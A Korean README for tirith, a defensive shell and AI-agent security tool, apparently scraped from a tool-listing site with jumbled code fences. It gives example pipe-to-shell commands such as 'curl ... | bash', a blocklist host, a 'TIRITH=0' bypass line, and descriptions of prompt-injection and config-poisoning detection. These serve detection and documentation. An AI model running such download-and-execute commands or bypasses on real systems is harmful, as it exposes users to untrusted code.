**워크스테이션 위생**(`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). 느슨한 권한의 자격 증명 파일과 일반 텍스트 토큰(`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`)을 스캔하고, 공격자가 사용하는 지속성 거점(shell rc, `authorized_keys`, crontab, LaunchAgents / systemd-user units, git `core.hooksPath`)을 비교하며, 중요 명령을 가리거나 자격 증명을 읽는 별칭을 플래그 지정하고, `$PATH`를 하이재킹 순서로 감사하며, 바이너리의 출처(패키지 소유자, 코드 서명, 시스템 명령을 가리는지 여부)를 보고합니다.

**폭발 반경 및 격리**(`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). 파괴적 명령을 실행하기 전에 파일 시스템 영향을 미리 보고, 명령이 실제로 변경한 사항을 차이로 확인하고, 신뢰할 수 없는 명령을 일회용 디렉토리에서 실행하며, 위험한 소스에서 다운로드한 파일을 추적하여 나중에 실행할 때 결과를 발생시킵니다. `temp-run`은 작업 디렉토리만 변경하며, 파일 격리이지 샌드박스가 아닙니다.

## 신뢰, 증명 및 사고 대응

- **명령 증명**(`tirith command-card`)은 ed25519 키로 알려진 양호한 명령에 서명합니다. 명령과 더 이상 일치하지 않는 신뢰된 카드는 높음(High)을 발생시킵니다.
- **리포지토리 명령 매니페스트**(`tirith commands`)는 `.tirith/commands.yaml` 허용 목록으로, 승인된 명령에 대한 알 수 없는 명령 노트를 무음 처리하고 위험한 명령 리스트를 추가합니다(평결을 강화할 수 있지만 약화시키지는 않음).
- **허니토큰**(`tirith canary`)은 명백히 합성된 카나리 토큰을 심습니다. 확인된 명령, 붙여넣기 또는 도구 출력에서 접촉되면 높음(High)을 발생시킵니다. 탐지는 모양 일치가 아닌 로컬 저장소 조회입니다.
- **비밀 교체**(`tirith secret`)는 감사 로그에서 최근 자격 증명 결과를 읽고 11개 제공자에 대한 제공자별 교체/취소 단계를 출력합니다. 자체적으로 아무것도 교체하지 않으며 네트워크 호출을 하지 않습니다.
- **사고 모드**(`tirith incident`)는 "공격 중" 자세를 선언합니다. `fail_mode: closed`를 강제하고, `TIRITH=0` 우회를 비활성화하며, 중단할 때까지 자격 증명 스윕, 디코드 실행, 의심스러운 바이너리 규칙을 상향 조정합니다.

## 출력, 붙여넣기 및 공유 안전

- **출력 방향 방어**(`tirith view`, `tirith output`, `gateway run --filter-output`, `mcp-server --sanitize-tool-output`)는 명령 및 MCP 도구 출력에서 터미널 속임수 이스케이프를 무력화합니다: OSC 52 클립보드 쓰기, 가짜 프롬프트, OSC 8 하이퍼링크 불일치, 제목/화면 지우기 조작. 또한 출력에서 프롬프트 인젝션(원시 및 난독 해제) 및 데이터 유출 비컨을 스캔합니다. `injection_seeds_custom`으로 사용자 지정 시드를 추가하고, `mcp_redact_injection`으로 인젝션 전용 MCP 블록을 차단 대신 경고로 수정하는 것을 옵트인할 수 있습니다.
- **대상 인식 수정**(`tirith share`, `tirith redact`, `tirith logs`)은 GitHub 이슈, Slack, LLM 또는 공개 붙여넣기에 붙여넣기 전에 비밀 및 고객/테넌트 ID를 제거합니다.
- **붙여넣기 출처**(`tirith paste --with-source`, `tirith browser`). 동반 Chrome 네이티브 메시징 호스트가 설치된 상태에서, tirith는 붙여넣은 명령을 해당 소스 페이지에 귀속시키고 명령이 실행되는 호스트와 소스 호스트가 다른 붙여넣기를 플래그 지정합니다.

---

## 설치

### macOS

**Homebrew:**```bash
brew install tirith

Linux 패키지

Debian / Ubuntu (.deb):

다운로드: GitHub Releases, 그 후:```bash sudo dpkg -i tirith_*_amd64.deb

root@kitploit:~
**Fedora / RHEL / CentOS 9+ (.rpm):**

다운로드: [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), 그 다음:```bash
sudo dnf install ./tirith-*.rpm

Arch Linux (AUR):```bash yay -S tirith

or: paru -S tirith

root@kitploit:~
**Nix:**```bash
nix profile install nixpkgs#tirith              # from nixpkgs
nix profile install github:sheeki03/tirith      # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version

Android (Termux)

Android/Termux는 Bionic libc에서 실행되며, glibc가 아닙니다. 따라서 aarch64-unknown-linux-gnu 빌드는 그곳에서 실행할 수 없으며, glibc의 동적 링커가 필요합니다. 대신 musl 빌드를 사용하세요: tirith-aarch64-unknown-linux-musl.tar.gz는 정적으로 링크되어 있으며 외부 libc 없이 Termux에서 실행됩니다.```bash

In Termux:

pkg install curl tar

Download the musl build from the latest GitHub release:

curl -fsSL -o tirith.tar.gz
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz tar xzf tirith.tar.gz install -Dm755 tirith "$PREFIX/bin/tirith" tirith --version

root@kitploit:~
그런 다음 셸 훅을 `~/.bashrc`에서 활성화하세요 (Termux의 기본 셸은 bash입니다):```bash
eval "$(tirith init --shell bash)"   # add to ~/.bashrc

[!NOTE] Termux 지원은 최선을 다해 제공됩니다. musl 아티팩트는 CI에서 빌드 및 기본 테스트를 거치지만, tirith는 아직 실제 Android 기기에서 지속적으로 테스트되지 않았습니다. Termux에서 훅이 오작동하는 경우 tirith doctor 출력과 함께 이슈를 열어 주시기 바랍니다.

Windows

모든 핵심 기능은 Windows에서 작동합니다. 탐지, 스캔, 웹훅, 정책 관리, 감사 업로드를 포함합니다. 셸 훅은 PowerShell을 지원합니다. 데몬 모드와 tirith setup은 현재 Unix 전용입니다.

Scoop:```powershell scoop bucket add tirith https://github.com/sheeki03/scoop-tirith scoop install tirith

root@kitploit:~
**Chocolatey** (심사 중, 승인 대기 중):```powershell
choco install tirith

크로스 플랫폼

npm:```bash npm install -g tirith

root@kitploit:~
**Cargo:**```bash
cargo install tirith

Mise (공식 레지스트리):```bash mise use -g tirith

root@kitploit:~
**asdf:**```bash
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest

Docker:```bash docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

root@kitploit:~
### 활성화

셸 프로필(`.zshrc`, `.bashrc`, 또는 `config.fish`)에 추가하세요:```bash
eval "$(tirith init --shell zsh)"   # in ~/.zshrc
eval "$(tirith init --shell bash)"  # in ~/.bashrc
tirith init --shell fish | source   # in ~/.config/fish/config.fish
셸

Bash는 기능 자체 테스트가 해당 bash에서 작동함을 입증한 경우 enter 모드를 사용하고, 그렇지 않으면 preexec를 사용합니다. tirith setup / tirith doctor 명령어가 자체 테스트를 실행하며, 셸 훅은 시작 시 캐시된 판정 결과를 읽습니다. 모드, 자체 테스트 및 SSH 폴백 동작에 대한 자세한 내용은 트러블슈팅을 참조하세요.

[!WARNING] Bash의 preexec 모드는 경고만 할 뿐 자리에서 차단하지는 않습니다. shopt -s extdebug를 통해 실제 차단을 하려면 TIRITH_BASH_PREEXEC_ENFORCE=1을 설정하세요. 강제 적용은 HISTCONTROL에 ignorespace / ignoredups / ignoreboth가 포함되어 있거나, HISTIGNORE가 설정되어 있거나, set +o history가 활성화된 경우 활성화되지 않습니다. 이러한 조건은 차단을 경합 상태로 만들기 때문입니다.

셸별 강제 적용

bash에서 라인 수준의 보장된 차단을 위해서는 tirith doctor --simulate-enter를 실행하세요. 전달이 작동하면 enter 모드가 활성화됩니다. 작동하지 않는 경우에는 "가능할 때 차단하고, 차단할 수 없을 때는 정직하게 알려주는" preexec 강제를 사용하세요.

Nix / Home-Manager: tirith가 $PATH에 있어야 합니다. 셸 훅은 런타임에 tirith를 이름으로 호출합니다. initContent에만 추가하는 것으로는 충분하지 않습니다.```nix home.packages = [ pkgs.tirith ];

programs.zsh.initContent = '' eval "$(tirith init --shell zsh)" '';

root@kitploit:~
### tirith 업데이트 및 확인

tirith는 자체 무결성을 검증하고 스스로 업데이트할 수 있습니다. 두 명령 모두 실행할 때만 네트워크에 접속합니다.```bash
tirith verify-self          # is this binary the genuine, unmodified release?
tirith update               # update to the latest release
tirith version --provenance # version, build info, install method, verification

tirith verify-self 는 실행 중인 바이너리가 공식 릴리스의 진짜 수정되지 않은 바이너리인지 확인합니다. 현재 버전 및 대상에 대한 릴리스 아카이브를 다시 다운로드하고, 서명된 릴리스 checksums.txt에 대해 확인하며, cosign이 설치된 경우 checksums.txt에 대한 cosign 서명을 확인하고, 실행 중인 바이너리가 공식 바이너리와 바이트 단위로 동일한지 확인합니다. 전체 확인이 불가능한 경우(로컬 개발 빌드, 네트워크 없음, 식별할 수 없는 설치 tirith)에는 거짓 "확인됨"을 보고하는 대신 정직하게 그 사실을 알립니다. cosign이 없으면 체크섬만 확인됩니다(verified-checksum-only로 보고됨). 전체 서명 확인을 위해서는 cosign을 설치하세요(verified-signed).

tirith update 는 패키지 관리자를 인식합니다:

  • 패키지 관리자 설치(Homebrew, cargo, npm, Scoop, AUR, apt/dnf)는 절대 자체 수정되지 않습니다. tirith는 대신 정확한 명령어(예: brew upgrade tirith)를 출력합니다. 패키지 관리자를 통해 업데이트하면 데이터베이스가 일관되게 유지됩니다.
  • 자체 관리 설치(install.sh tarball 또는 독립 실행형 바이너리)는 제자리에서 업데이트됩니다. tirith가 최신 릴리스를 다운로드하고, 확인한 다음, 바이너리를 원자적으로 교체하며, 이전 바이너리는 tirith.tirith-previous 사이드카로 남깁니다. cosign 서명은 기본적으로 확인됩니다. 확인할 수 없는 경우(cosign 누락 또는 릴리스에 서명이 게시되지 않음) 업데이트가 중단됩니다. --allow-unsigned를 전달하면 체크섬 전용 확인으로 대체됩니다. 체크섬 불일치는 항상 중단됩니다(옵션 무관). tirith update --rollback은 이전 바이너리로 되돌립니다. --dry-run은 변경 없이 어떤 일이 발생할지 보여줍니다.

[!NOTE] 설치 스크립트(scripts/install.sh 및 Windows install.ps1)는 기본적으로 릴리스의 cosign 서명을 확인하며, cosign이 없거나 서명을 확인할 수 없는 경우 중단됩니다. 먼저 cosign을 설치하거나, TIRITH_ALLOW_UNSIGNED=1을 설정하여 체크섬 전용 확인으로 설치하세요(권장되지 않음). 이 옵트아웃과 관계없이 체크섬 또는 서명 불일치는 항상 중단됩니다.

쉘 통합

Oh-My-Zsh:```bash git clone https://github.com/sheeki03/ohmyzsh-tirith
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

Add tirith to plugins in ~/.zshrc:

plugins=(... tirith)

root@kitploit:~
### AI 에이전트 통합

`tirith setup <tool>`을 사용하여 한 번의 명령으로 구성하십시오:```bash
tirith setup claude-code --with-mcp   # Claude Code + MCP server
tirith setup codex                    # OpenAI Codex
tirith setup copilot-cli              # GitHub Copilot CLI (run from repo root)
tirith setup cursor                   # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI + MCP server
tirith setup kiro                     # Kiro CLI (formerly Amazon Q)
tirith setup pi-cli                   # Pi CLI
tirith setup vscode                   # VS Code
tirith setup windsurf                 # Windsurf

수동 구성에 대해서는 각 도구별 가이드가 있는 mcp/clients/를 참조하세요.

CI/CD 통합

GitHub Action을 사용하여 SARIF를 GitHub Security 탭에 업로드:```yaml

  • uses: sheeki03/tirith@v1 with: fail_on: high sarif: true
root@kitploit:~
**pre-commit hook**으로도 사용 가능합니다: 이 저장소의 `.pre-commit-hooks.yaml`을 참조하세요.

Scan은 대상 CI 스캐닝을 위해 `--include`, `--exclude`, `--profile` (정책에서 명명된 프로파일 로드) 및 `--ignore` 필터를 지원합니다.

### 규칙 문서```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

수정 방법, "대신 실행할 명령어"

각 발견 사항에는 규칙별 수정 방법이 포함되어 있습니다. 각 발견 사항 아래(Fix:)와 --format json에 표시되는 짧고 정확한 "안전하게 만드는 방법" 설명입니다. tirith explain --rule <id> --fix 는 해당 수정 방법을 단독으로 출력합니다.

명령어가 차단되거나 경고될 경우, tirith check --suggest 는 실제 명령어의 구체적인 더 안전한 재작성을 추가로 출력하지만, 변환이 진정으로 더 안전하고 올바른 경우에만 해당됩니다.```bash tirith check --suggest -- 'curl https://example-cli.dev/i.sh | bash'

→ try: curl -fsSL -o /tmp/tirith-review.sh https://example-cli.dev/i.sh \

&& less /tmp/tirith-review.sh && bash /tmp/tirith-review.sh

root@kitploit:~
이는 pipe-to-shell을 download-review-run으로 다시 작성하고, 안전하지 않은 TLS 플래그(`-k` / `--insecure` / `--no-check-certificate`)를 제거하며, 일반 `http://`를 `https://`로 전환합니다. 안전한 기계적 재작성이 불가능한 결과(호모그래프 호스트 이름, 아카이브 추출 대상, ...)에 대해서는 명확히 표시하고 대신 수정 조치를 보여줍니다. 절대 잘못된 제안을 내보내지 않습니다. 이 플래그는 권고 사항입니다: 판정이나 종료 코드를 변경하지 않습니다.

### 데몬 모드 (Unix)

밀리초 미만의 지연 시간과 네트워크 인식 강화(단축 URL 확인, DNS 블록리스트 검사)를 위한 선택적 백그라운드 프로세스:```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

[!NOTE] 데몬 모드는 현재 유닉스에서만 지원됩니다.


명령어

일상적인 명령어:

이것이 일상적인 명령어 세트입니다. tirith는 총 74개의 명령어를 제공하며, 8개 그룹으로 나뉩니다: 스캔 및 분석, 상태 및 건강, 설정, 정책 및 신뢰, 쉘 및 시스템 보호(hygiene, persistence, exec, path, context, ssh, sudo, iac), 공급망, AI 에이전트 통합, 포렌식 및 대응. 분류된 목록은 tirith --help를 실행하거나 **전체 명령어 참조**를 참조하세요. 전역 --quiet 플래그(또는 TIRITH_QUIET=1)는 오류, 판결, 보안 알림을 숨기지 않고 조언 출력을 무음으로 만듭니다.


설계 원칙

  • 탐지는 로컬에서 실행됩니다: paste, score, diff, why는 네트워크 호출을 전혀 하지 않습니다. tirith check(쉘 훅이 사용하는 --approval-check 경로 포함)도 로컬에서 분석하지만, 먼저 주기적인 백그라운드 위협 DB 갱신을 트리거합니다(아래 참조). 따라서 완전히 오프라인은 아닙니다. tirith check --offline(또는 TIRITH_OFFLINE=1)은 갱신을 억제하고 완전히 로컬로 유지합니다.
  • 주기적인 백그라운드 위협 DB 갱신: tirith check와 쉘 훅은 기본적으로 24시간에 최대 한 번(threat_intel.auto_update_hours) 저렴하고 분리된 백그라운드 검사를 트리거하여 서명된 데이터베이스를 최신 상태로 유지합니다. 명령어를 차단하지 않습니다. auto_update_hours: 0으로 설정하면 비활성화하고, --offline / TIRITH_OFFLINE=1로 호출 시 억제할 수 있습니다. 는 , 바로 로컬 엔진을 통해 수행됩니다.

설정

빠른 시작```bash

tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy

root@kitploit:~
`tirith policy init`는 `--template <name>`을 받아들여 선별된 시작 정책을 제공합니다:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

각 템플릿은 추가로 편집할 수 있는 주석이 잘 달린 스키마 유효 정책입니다. --template 없이 tirith policy init을 실행하면 전체 기본 정책이 작성됩니다.

Policy file

Tirith는 YAML 정책 파일을 사용합니다. 탐색 순서:

  1. 현재 디렉토리의 .tirith/policy.yaml (리포지토리 루트까지 올라가며 탐색)
  2. `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings

allowlist:

  • "get.docker.com"
  • "sh.rustup.rs"

blocklist:

  • "evil.example.com"

severity_overrides: docker_untrusted_registry: CRITICAL

scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high

root@kitploit:~
특정 규칙에 대해 신뢰하는 소스가 있지만 전역적으로 허용 목록에 추가하고 싶지 않을 때 규칙 범위 억제를 위해 `allowlist_rules`를 사용하십시오:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

CLI에서 신뢰 관리

tirith trust는 정책 YAML을 직접 수정하지 않고 신뢰 패턴을 관리합니다. 신뢰는 기본적으로 좁고 만료됩니다: 가장 구체적이고 작동하는 것을 신뢰하며, 항목은 옵트아웃하지 않는 한 30일 후에 만료됩니다.```bash

Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.

tirith trust add raw.githubusercontent.com/org/repo/main/get.sh

A whole domain / wildcard / bare TLD is broad, it must be opted into.

tirith trust add get.docker.com --broad --rule curl_pipe_shell

Opt out of the default TTL, and record why the entry exists.

tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"

tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries

root@kitploit:~
각 항목의 **범위**는 `exact`, `substring`, `domain`,
`wildcard`, 또는 `bare-TLD`로 분류됩니다. 광범위한 범위(`domain` / `wildcard` / `bare-TLD`)는
`--broad`가 필요하므로, 광범위한 허용은 항상 의도적인 선택입니다. 모든
하위 명령어는 `--format json`을 지원합니다. 이전 버전의 tirith로 작성된 신뢰 저장소는
변경 없이 계속 작동하며, TTL이 없는 항목은 영구적인 것으로 처리됩니다.

### 단계적 확대 및 작업 재정의

경고는 세션별로 추적됩니다. 동일한 규칙이 반복적으로 발생하면, 단계적 확대 규칙이 차단으로 업그레이드할 수 있습니다:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

언제든지 누적된 경고를 검토하십시오:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing

root@kitploit:~
셸 종료 시, 세션 중 경고가 기록된 경우 한 줄 요약이 출력됩니다.

더 많은 예제는 [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md)에서 확인하세요.

### 사용자 정의 탐지 규칙

`.tirith/policy.yaml` 파일의 `custom_rules:` 아래에 자신만의 규칙을 작성하세요. 각 규칙은 `pattern:` (정규식) 또는 `when:` 의미적 조건 트리 중 하나이며, `context:` (`exec`, `paste`, 또는 `file`), `severity:`, `title:`을 포함합니다.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

when: DSL은 all: / any: / not:을 command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation, file.path_matches와 같은 술어들 위에서 결합합니다. 평판 술어는 로컬 서명된 위협 데이터베이스를 읽으므로, 사용자 정의 규칙은 핫 경로에서 여전히 네트워크 호출을 하지 않습니다. 커밋하기 전에 검증하고 dry-run을 수행하십시오:```bash tirith rule validate # check every custom rule: shape + context coverage tirith rule test --rule no_internal_pastebin --input "echo hi | bash" tirith rule explain --rule no_internal_pastebin

root@kitploit:~
### 추가 정책 제어

기타 정책 키는 모두 안전한 기본값을 가집니다 (`tirith policy init`는 완전히 주석 처리된 세트를 작성합니다):

- `package_policy:` 임계값은 공급망 신호를 차단 또는 경고 판결로 전환합니다 (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:`는 명령의 호출자 출처 (`{ kind, name }`)와 일치합니다. `deny` 일치는 차단을 강제합니다. `scan.trusted_mcp_servers` 및 `scan.mcp_allowed_tools`는 특정 MCP 서버 및 서버별 도구를 허용합니다.
- 옵트인 가드는 기본적으로 꺼져 있습니다: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, 그리고 `iac_require_plan_before_apply`, `sudo_require_reason`, `allowed_install_domains`.

저장소 범위의 `.tirith/policy.yaml` 파일은 강화만 가능하며 완화할 수 없습니다. 허용 목록을 확장하거나 심각도를 낮추거나 가드를 비활성화하려는 저장소 정책은 무효화되며, `tirith policy effective`는 어떤 필드가 삭제되었는지 보여줍니다. 사용자 수준 및 조직 수준(`TIRITH_POLICY_ROOT`) 정책만 기본값을 완화할 수 있습니다.

### 엄격 경고 모드

`strict_warn: true`(또는 CLI에서 `--strict-warn`)를 사용하면 중간 위험 결과가 대화형 터미널에서 조용히 경고하는 대신 명시적인 확인을 요구합니다:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

셸 훅은 경고-확인(warn-ack) 프로토콜에 대해 종료 코드 3을 사용합니다. 종료 코드 3을 알지 못하는 이전 훅은 실패-개방(fail-open) 동작으로 넘어갑니다.

[!NOTE] 종료 코드 3은 경고-확인 훅 프로토콜 경로이지, 일반적인 직접 CLI 계약이 아닙니다. 훅이 아닌 호출자는 일반적으로 종료 코드 3을 보지 않아야 합니다. 만약 본다면, 확인이 필요함을 나타냅니다.

우회

정확히 무엇을 하고 있는지 아는 드문 경우를 위해:```bash TIRITH=0 curl -L https://something.xyz | bash

root@kitploit:~
이것은 표준 셸의 명령별 접두사입니다. 변수는 해당 단일 명령에 대해서만 존재하며 세션에 유지되지 않습니다. 조직은 정책에서 `allow_bypass_env: false`로 설정하여 완전히 비활성화할 수 있습니다.

> [!CAUTION]
> `TIRITH=0`은 명령별입니다. 셸 프로필, dotfile 또는 CI 구성에 내보내지 마십시오. 영구적인 우회는 전체 보호 모델을 무력화합니다. 자주 사용해야 한다면 대신 정책 파일의 `allowlist`에 신뢰할 수 있는 소스를 추가하십시오.

---

## 데이터 처리

로컬 JSONL 감사 로그 위치: `~/.local/share/tirith/log.jsonl`:
- 타임스탬프, 세션 ID, 동작, 규칙 ID, 편집된 명령 미리보기
- 원시 탐지 데이터(`raw_action`, `raw_rule_ids`)는 적용된 동작과 함께 보존되어 적용 범위 감사에 사용됩니다.
- 세션 경고 상태 위치: `~/.local/state/tirith/sessions/`
- 전체 명령, 환경 변수 또는 파일 내용은 **없습니다.**

비활성화: `export TIRITH_LOG=0`

---

## 문서

- [명령어 참조](https://github.com/sheeki03/tirith/blob/HEAD/docs/commands.md): 모든 하위 명령어, 카테고리별 그룹화
- [위협 모델](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md): tirith가 방어하는 것과 방어하지 않는 것
- [쿡북](https://github.com/sheeki03/tirith/blob/HEAD/docs/cookbook.md): 일반적인 설정을 위한 정책 예제
- [문제 해결](https://github.com/sheeki03/tirith/blob/HEAD/docs/troubleshooting.md): 셸 특성, 지연 시간, 오탐지
- [호환성](https://github.com/sheeki03/tirith/blob/HEAD/docs/compatibility.md): 안정적 vs 실험적 표면
- [보안 정책](https://github.com/sheeki03/tirith/blob/HEAD/SECURITY.md): 취약점 보고
- [제거](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md): 셸 및 패키지 관리자별 깔끔한 제거

기능 가이드:

- [에이전트 거버넌스](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (호출자 출처 귀속 및 `agent_rules`)
- [MCP 출력 필터](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (게이트웨이 및 MCP 출력 위생화 계약)
- [닥터 모드](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (전체 vs `--quick`, 및 JSON 스냅샷 스키마)
- [LSP 및 편집기 프로필](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (인라인 편집기 진단)
- [브라우저 네이티브 메시징](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (클립보드 출처 호스트 및 확장)
- [붙여넣기 출처](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (`paste_source_mismatch` 규칙)
- [카나리 형식](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (합성 허니토큰 형식)
- [프롬프트 통합](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (셸 프롬프트에 `tirith prompt-status` 연결)

## 라이선스

**핵심 보안 범위는 오픈소스 트리에 포함되어 있습니다.** 221개의 감지 규칙과 MCP 서버는 소스에서 사용할 수 있습니다. 리포지토리에는 여전히 레거시 라이선싱 및 정책 서버 코드 경로가 포함되어 있으므로 모든 런타임 경로가 이미 계층 없는(tier-free) 것으로 가정하지 마십시오.

tirith는 이중 라이선스입니다:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), 카피레프트 조건 하에 무료
- **상업용**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), AGPL 카피레프트 의무가 귀하의 사용 사례에 적합하지 않은 경우 대체 라이선싱을 위해 [email protected]에 문의하십시오.

타사 데이터 귀속은 [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE)에 있습니다.

## 스타 히스토리

[![Star History Chart](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)](https://star-history.com/#sheeki03/tirith&Date)
도구 다운로드
사건연도공격 형태
Shai-Hulud npm 웜2025자가 전파 패키지 멀웨어; 180개 이상의 패키지에서 GitHub 토큰 및 AWS 키를 유출하고, 공개 Shai-Hulud 저장소에 발견 사항 게시
슬롭스쿼팅2023~현재공격자가 npm / PyPI / crates.io에 LLM이 환각한 패키지 이름을 등록; USENIX 2025는 58%의 환각 이름이 실행 간에 반복된다고 발견
Team PCP / UNC1069 도구현재침해 후 자격 증명 스위프, /proc/*/mem 스크래핑, Docker 권한 상승
colors.js / faker.js 사보타주2022널리 사용되는 패키지의 작성자 자가 사보타주
event-stream 침해2018소유권을 공격자에게 이전; 페이로드가 비트코인 지갑을 대상으로 함
도구기능
tirith_check_command셸 명령을 분석하여 파이프-to-쉘, 호모그래프 URL, 환경 변수 인젝션 탐지
tirith_check_url호모그래프 공격, 퓨니코드 트릭, 단축 URL, 원시 IP에 대한 URL 점수 매기기
tirith_check_paste붙여넣은 콘텐츠에서 ANSI 이스케이프, bidi 제어, 너비 0 문자 확인
tirith_scan_file파일에서 숨겨진 콘텐츠, 보이지 않는 유니코드, 설정 중독 검사
tirith_scan_directoryAI 설정 파일 우선 순위를 적용한 재귀적 스캔
tirith_verify_mcp_config안전하지 않은 서버, 인수 내 셸 인젝션, 와일드카드 도구에 대한 MCP 설정 검증
tirith_fetch_cloaking서버 측 클로킹 탐지(봇과 브라우저에 대해 다른 콘텐츠 제공)
mcp_settings.json
  • .github/copilot-instructions.md, .github/agents/*.md
  • Helm 차트(Chart.yaml): 차트 종속성이 신뢰할 수 없는 차트 저장소에서 비롯됨
  • package.json: 위험한 명령(파이프-to-쉘, 난독화된 페이로드, 다운로드 후 실행)을 실행하는 preinstall / install / postinstall 라이프사이클 스크립트; 이러한 후크는 npm install 시 자동으로 실행됨
  • 훅 유형
    테스트된 버전
    zshpreexec + 붙여넣기 위젯5.8+
    bashpreexec (두 가지 모드)5.0+
    fishfish_preexec 이벤트3.5+
    PowerShellPSReadLine 핸들러7.0+
    셸동작
    bash enter 모드안정적인 차단. Enter 키를 바인딩합니다. bash가 명령어를 실행하기 전에 중단할 수 있습니다. 기능 자체 테스트(tirith doctor --simulate-enter)가 실행 중인 bash에서 bind -x 전달이 작동함을 입증한 경우에만 기본적으로 사용됩니다.
    bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1조건부 차단. shopt -s extdebug를 사용합니다. bash의 history가 신뢰할 수 있는 전체 라인 뷰를 제공할 수 있을 때 차단합니다. 기록이 필터링되거나(HISTCONTROL=ignorespace/ignoredups/ignoreboth, HISTIGNORE 설정, 또는 set +o history) 별칭/명령어 치환/eval로 인해 입력한 라인이 BASH_COMMAND와 달라지는 경우 경고 전용으로 다운그레이드됩니다.
    bash preexec (강제 플래그 없음)경고 전용. 위험 명령어에 DETECTED 배너를 출력합니다. 차단하지 않습니다. enter 모드 자체 테스트가 전달 작동을 입증하지 못한 경우의 폴백입니다.
    zsh, fish, powershell네이티브 preexec 훅을 통한 안정적인 차단.
    nushell경고 전용 (현재 명령어 가로채기를 지원하지 않음).
    명령어기능
    tirith check -- <cmd>명령어를 실행하지 않고 분석 (--suggest는 더 안전한 대체 명령어를 제안)
    tirith paste붙여넣은 내용 확인 (쉘 훅이 자동으로 호출)
    tirith scan [path]파일, 디렉토리, 설정 스캔 (--profile, --format sarif, --ci)
    tirith run <url>안전한 curl | bash 대체: 다운로드, 분석, 검토 후 실행 (유닉스)
    tirith fix -- <cmd>위험한 명령어를 대화형으로 안전한 형태로 다시 작성
    tirith score <url> / diff <url>URL의 신뢰 신호 분석 또는 의심스러운 문자가 숨은 위치 표시
    tirith explain --rule <id> / why규칙 문서 및 수정 방법, 또는 마지막 트리거 설명
    tirith status / doctor보호 상태 확인? 설치, 훅, 정책 진단 (--fix, --quick)
    tirith setup <tool> / init단일 명령 AI 도구 설정 또는 쉘 훅 출력
    tirith policy {init,validate,test}정책 생성, 검증, 시뮬레이션
    tirith trust {add,list,remove}신뢰 패턴 관리 (기본 좁은 범위, 30일 TTL)
    tirith threat-db update서명된 위협 데이터베이스 다운로드 및 확인
    tirith package risk <eco> <name>패키지 공급망 위험 점수
